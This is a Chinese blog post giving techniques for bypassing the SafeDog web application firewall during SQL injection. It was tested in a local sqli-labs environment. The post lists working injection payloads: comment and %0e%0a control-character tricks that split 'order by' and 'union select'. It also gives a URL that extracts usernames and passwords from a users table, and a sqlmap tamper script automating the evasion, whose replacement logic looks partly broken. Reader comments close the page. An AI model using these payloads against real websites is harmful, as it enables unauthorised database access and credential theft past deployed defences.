你的微笑很美

bypass安全狗绕过方法

渗透测试 小雨 451℃ 4评论

0x00:环境

server 2003+phpstudy+安全狗apache版本v4.0+sqli-labs-master

 

0x01:绕过总结(图片网上的)

 

0x02:绕过order by

order by  (不拦截)

order by  4  (拦截)

order by 后面加数字就拦截。

绕过如下:

正常注入:
http://192.168.89.175/sqli/Less-1/?id=1' order by 4  (拦截)


绕过方法使用/*/ +

使用/*/注释干扰waf机制,用+连接 

payload: 'order/*//*/+by 

http://192.168.89.175/sqli/Less-1/?id=1'order/*//*/+by 4 %23   (不拦截)  

 

 

0x03:绕过union select

这个我绕了很久才绕过,安全狗对union select过滤挺严的。

安全狗对于union  select如果是单个加在URL标签什么不拦截,如果加在一起拦截。
比如:
http://192.168.89.175/sqli/Less-1/?id=1 union xxxx  (不拦截)
http://192.168.89.175/sqli/Less-1/?id=1  union  select (拦截)


绕过方法使用:ASCII控制字符参考URL编码16进制
--  (注释符)
%0e (删除本身)
%0a (换行)
ps: 安全狗过滤很多MySQL数据库里面的函数,union select可以绕过但是不一定函数能绕的过
演示:
ABC'--%0e%0a123yuag.org

payload:

'union--%0e%0aselect

 http://192.168.89.175/sqli/Less-1/?id=-1'union--%0e%0aselect 1,2,3%23 

0x04:union select from

payload:
'union--%0e%0aselect%201,username,password--%0e%0afrom%20users%20limit%202,1%23  

http://192.168.89.175/sqli/Less-1/?id=1%27union--%0e%0aselect%201,username,password--%0e%0afrom%20users%20limit%202,1%23 

0x05:sqlmap tamper脚本编写

#!/usr/bin/env python


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
 
    if payload:


		payload=payload.replace("/*//*/","+")
		payload=payload.replace("--","--")
		payload=payload.replace("%0e","%0a")
		payload=payload.replace("UNION","union--%0e%0a")
		payload=payload.replace("DATABASE()","DATABASE/*!()*/")
		payload=payload.replace("SELECT","--%0e%0a")
		payload=payload.replace("FROM","--%0e%0a")	
		print payload
		
                
    return payload

0x06:总结

安全狗绕过的方法还有很多,看了网上的文章。

本文固定链接:小雨' s Blog » bypass安全狗绕过方法
本站内容除特别标注外均为原创,欢迎转载,但请保留出处!

喜欢 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(4)个小伙伴在吐槽
  1. :razz: :razz: :razz: :razz: :razz: :razz: :razz: :razz:
    小雨2018-11-30 08:40回复
  2. 上号
    麦兜2018-12-11 19:58回复
  3. 嘿嘿嘿,我在一个站看到你的一句话, 我只能说同道中人啊!
    11112019-03-09 11:54回复
  4. 虽然不知道说的是什么,但看起来好厉害的样子!